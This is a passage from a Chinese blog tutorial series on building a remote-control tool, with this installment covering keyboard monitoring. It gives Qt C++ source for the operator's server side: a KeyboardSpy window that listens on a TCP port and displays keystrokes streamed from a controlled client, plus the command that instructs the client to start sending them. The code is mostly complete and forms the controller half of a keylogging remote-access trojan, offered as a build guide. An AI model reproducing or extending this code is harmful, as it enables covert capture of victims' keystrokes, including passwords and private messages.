您的位置:首页 > 运维架构

从零开始做远控 第八篇 键盘监控

2016-12-22 18:04 423 查看
如果你从没看过这系列教程请点击:从零开始做远控
简介篇

键盘监控:

第八节了,这节是写服务端接收客户端发过来的键盘数据,然后打印到窗口里,这样键盘监控就完成了。

效果图:



KeyboardSpy类
1.首先我们要在ZeroServer项目中增加一个继承于QWidget的KeyboardSpy类,和屏幕监控那一节差不多,所以我直接放代码。

代码
KeyboardSpy.h

/*
*  Author: sumkee911@gmail.com
*  Date: 2016-12-22
*  Brief: 从客户端接收键盘数据,打印到窗口上
*
*/

#ifndef KEYBOARDSPY_H
#define KEYBOARDSPY_H

#include <QWidget>
#include "tcpsocket.h"
#include <tcpserver.h>
#include <QApplication>
#include <QDesktopWidget>
#include <QTextEdit>

class KeyboardSpy : public QWidget
{
Q_OBJECT
public:
explicit KeyboardSpy(QWidget *parent = 0);

// 开始监控服务器,然后返回新的端口号
int startKeyboardSpyServer(QString userName);

private:
TcpServer *mServer;
TcpSocket *mSock;
QTextEdit *mEdit;    // 用来显示接收的键盘数据

signals:

public slots:
// 有新客户连接
void newConnection(QTcpSocket *s);

// 处理新数据
void processBuffer();

protected:
// 大小重置
void resizeEvent(QResizeEvent *);

// 关闭
void closeEvent(QCloseEvent *);
};

#endif // KEYBOARDSPY_H


KeyboardSpy.cpp

#include "keyboardspy.h"

KeyboardSpy::KeyboardSpy(QWidget *parent) : QWidget(parent)
{
// 初始化窗口
const int w = 400, h = 300;
const int x = (QApplication::desktop()->width() - w) >> 1;
const int y = (QApplication::desktop()->height() - h) >> 1;
this->setGeometry(x, y, w, h);

// 设置文本框
mEdit = new QTextEdit(this);
mEdit->setGeometry(0,0,w,h);
mEdit->setReadOnly(true);
}

int KeyboardSpy::startKeyboardSpyServer(QString userName)
{
// 设置窗口标题
this->setWindowTitle(userName.append("-键盘监控"));

// 开启新的服务端
mServer = new TcpServer(this);
connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newConnection(QTcpSocket*)));

mServer->start(0);
if (!mServer->server()->isListening()) {
qDebug() << "开启屏幕监控服务端失败";
deleteLater();
return -1;
}

// 开启监控窗口
this->show();

return mServer->server()->serverPort();
}

void KeyboardSpy::newConnection(QTcpSocket *s)
{
// 新增客户
mSock = new TcpSocket(s, this);
connect(mSock,SIGNAL(newData()), this, SLOT(processBuffer()));
connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()));

// 不再监听新客户
mServer->server()->close();
}

void KeyboardSpy::processBuffer()
{
// 将数据打印到文本框
QString text = mEdit->toPlainText();
mEdit->setText(text.append(*mSock->buffer()));

// 清空缓冲区
mSock->buffer()->clear();
}

void KeyboardSpy::resizeEvent(QResizeEvent *)
{
mEdit->setGeometry(0,0,width(), height());
}

void KeyboardSpy::closeEvent(QCloseEvent *)
{
// 删除窗口
deleteLater();
}


2.在widget.cpp中修改函数keyboardClicked。
void Widget::keyboardClicked()
{
int id = currentClientIdFromTable();
if (id != -1) {
KeyboardSpy *ks = new KeyboardSpy();
ZeroClient *client = mZeroServer->client(id);
int port = ks->startKeyboardSpyServer(QString::number(id));

// 开始监控
client->sendKeyboardSpy(port);
}
}


3.在ZeroClient中增加函数sendKeyboardSpy。
void ZeroClient::sendKeyboardSpy(int port)
{
QString data;
data.append(CmdKeyboardSpy+CmdSplit);
data.append("PORT"+CmdSplit+QString::number(port));
data.append(CmdEnd);
mSock->write(data.toLocal8Bit());
}


本节完整代码:
下载完整代码
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息